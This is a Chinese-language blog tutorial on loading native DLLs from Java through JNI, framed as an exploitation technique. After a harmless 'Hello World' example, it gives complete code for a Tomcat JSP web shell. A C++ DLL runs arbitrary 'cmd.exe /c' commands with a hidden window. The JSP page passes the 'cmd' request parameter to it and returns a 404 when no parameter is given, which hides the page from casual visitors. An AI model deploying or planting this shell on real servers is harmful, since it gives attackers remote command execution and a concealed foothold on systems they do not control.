Java 利用技巧——通过 JNI 加载 dll
0x00 前言
Java 可以通过 JNI 接口访问本地的动态连接库,从而扩展 Java 的功能。本文将以 Tomcat 环境为例,介绍通过 jsp 加载 dll 的方法,开源代码,记录细节。
0x01 简介
本文将要介绍以下内容:
- 基础知识
- Java 通过 JNI 加载 dll 的方法
- jsp 通过 JNI 加载 dll 的方法
0x02 基础知识
JNI,全称 Java Native Interface,是 Java 语言的本地编程接口。可以用来调用 dll 文件
调用 JNI 接口的步骤:
- 编写 Java 代码,注明要访问的本地动态连接库和本地方法
- 编译 Java 代码得到.class 文件
- 使用 javah 生成该类对应的.h 文件
- 使用 C++实现函数功能,编译生成 dll
- 通过 Java 调用 dll
0x03 Java 通过 JNI 加载 dll 的方法
本节将要实现通过 Java 加载 dll,在命令行输出 "Hello World"
1.编写 Java 代码,注明要访问的本地动态连接库和本地方法
HelloWorld.java:
public class HelloWorld {
private native void print();
static
{
System.loadLibrary("Hello");
}
public static void main(String[] args) {
new HelloWorld().print();
}
}
注:
也可以使用 System.load
指定加载 dll 的绝对路径,代码示例: System.load("c:\\test\\Hello.dll");
上述代码注明了要访问本地的 Hello.dll,调用本地方法 print()
2.编译 Java 代码得到.class 文件
cmd 命令:
javac HelloWorld.java
命令执行后,生成文件 HelloWorld.class
3.使用 javah 生成该类对应的.h 文件
cmd 命令:
javah -jni HelloWorld
命令执行后,生成文件 HelloWorld.h
为了简化后续 C++工程的配置,这里需要修改 HelloWorld.h,将 #include <jni.h>
修改为 #include "jni.h"
,修改后的内容如下:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class HelloWorld */
#ifndef _Included_HelloWorld
#define _Included_HelloWorld
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: HelloWorld
* Method: print
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_HelloWorld_print
(JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
4.使用 C++实现函数功能,编译生成 dll
使用 Visual Studio,新建一个 C++项目 Hello,选中 win2 控制台应用程序, 应用程序类型为 DLL,附加选项:导出符号
修改 dllmain.cpp 或者 Hello.cpp 均可,具体代码如下:
#include"jni.h"
#include<stdio.h>
#include"HelloWorld.h"
JNIEXPORT void JNICALL
Java_HelloWorld_print(JNIEnv *env, jobject obj)
{
printf("Hello World!\n");
return;
}
项目需要引用以下三个文件:
- jni.h,位置为
%jdk%\include\jni.h
- jni_md.h,位置为
%jdk%\include\win32\jni_md.h
- HelloWorld.h,使用 javah 生成
编译生成 dll
注:
测试环境为 64 位系统,所以选择生成 64 位的 Hello.dll
5.通过 Java 调用 dll
将 Hello.dll 和 HelloWorld.class 保存在同级目录,执行命令:
java HelloWorld
获得返回结果:
Hello World!
加载成功
0x04 jsp 通过 JNI 加载 dll 的方法
本节将要实现在 Tomcat 环境下,通过访问 jsp 文件,执行 cmd 命令并获得命令执行结果
1.编写 Java 代码,注明要访问的本地动态连接库和本地方法
testtomcat_jsp.java:
package org.apache.jsp;
public class testtomcat_jsp
{
class JniClass
{
public native String exec( String string );
}
}
Tomcat 环境下,需要以下限制条件:
- 固定包名格式为 org.apache.jsp
- java 文件名称需要固定格式:
***_jsp
,并且后面的 jsp 文件名称需要同其保持一致。例如testtomcat_jsp.java
,那么最终 jsp 的文件名称需要命名为testtomcat.jsp
- 类名不需要限定为 JniClass,可以任意
2.编译 Java 代码得到.class 文件
cmd 命令:
javac testtomcat_jsp.java
命令执行后,生成文件 testtomcat_jsp.class
和 testtomcat_jsp$JniClass.class
3.使用 javah 生成该类对应的.h 文件
将 testtomcat_jsp$JniClass.class
保存在 \org\apache\jsp\
下
cmd 命令:
javah -jni org.apache.jsp.testtomcat_jsp$JniClass
命令执行后,生成文件 org_apache_jsp_testtomcat_jsp_JniClass.h
为了简化后续 C++工程的配置,这里需要修改 org_apache_jsp_testtomcat_jsp_JniClass.h
,将 #include <jni.h>
修改为 #include "jni.h"
,修改后的内容如下:
/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class org_apache_jsp_testtomcat_jsp_JniClass */
#ifndef _Included_org_apache_jsp_testtomcat_jsp_JniClass
#define _Included_org_apache_jsp_testtomcat_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_apache_jsp_testtomcat_jsp_JniClass
* Method: exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
4.使用 C++实现函数功能,编译生成 dll
使用 Visual Studio,新建一个 C++项目 TestTomcat,选中 win2 控制台应用程序, 应用程序类型为 DLL,附加选项:导出符号
修改 dllmain.cpp 或者 TestTomcat.cpp 均可,具体代码如下:
#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#pragma comment(lib, "User32.lib")
char *ExeCmd(WCHAR *pszCmd)
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return ("[!] CreatePipe failed.");
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
WCHAR command[MAX_PATH];
wsprintf(command, L"cmd.exe /c %ws", pszCmd);
if (!CreateProcess(NULL, command, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
return ("[!] CreateProcess failed.");
CloseHandle(hWrite);
char buffer[4096] = { 0 };
DWORD bytesRead;
char strText[32768] = { 0 };
while (true)
{
if (ReadFile(hRead, buffer, 4096 - 1, &bytesRead, NULL) == NULL)
break;
sprintf_s(strText, "%s\r\n%s", strText, buffer);
memset(buffer, 0, sizeof(buffer));
}
return strText;
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
WCHAR *command = (WCHAR*)env->GetStringChars(jstr, 0);
char *data = ExeCmd(command);
jstring cmdresult = (env)->NewStringUTF(data);
return cmdresult;
}
注:代码 JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
需要和头文件中的声明保持一致
项目需要引用以下三个文件:
- jni.h,位置为
%jdk%\include\jni.h
- jni_md.h,位置为
%jdk%\include\win32\jni_md.h
- org_apache_jsp_testtomcat_jsp_JniClass.h,使用 javah 生成
编译生成 dll
注:测试环境为 64 位系统,所以选择生成 64 位的 TestTomcat.dll
5.通过 jsp 调用 dll
向 Tomcat 上传 TestTomcat.dll,在 Web 目录创建 testtomcat.jsp,内容如下:
<%!
class JniClass {
public native String exec(String string);
public JniClass() {
System.load("c:\\test\\TestTomcat.dll");
}
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
JniClass a = new JniClass();
String res = a.exec(cmd);
out.println(res);
}
else{
response.sendError(404);
}
%>
注:
jsp 文件名称需要同之前的 java 文件保持一致
访问 URL: http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami
获得命令执行结果,加载成功
0x05 小结
本文以 Tomcat 环境为例,介绍通过 jsp 加载 dll 的方法,开源代码,记录细节,能够扩展 jsp 的功能。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

下一篇: Jvm 常量池
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论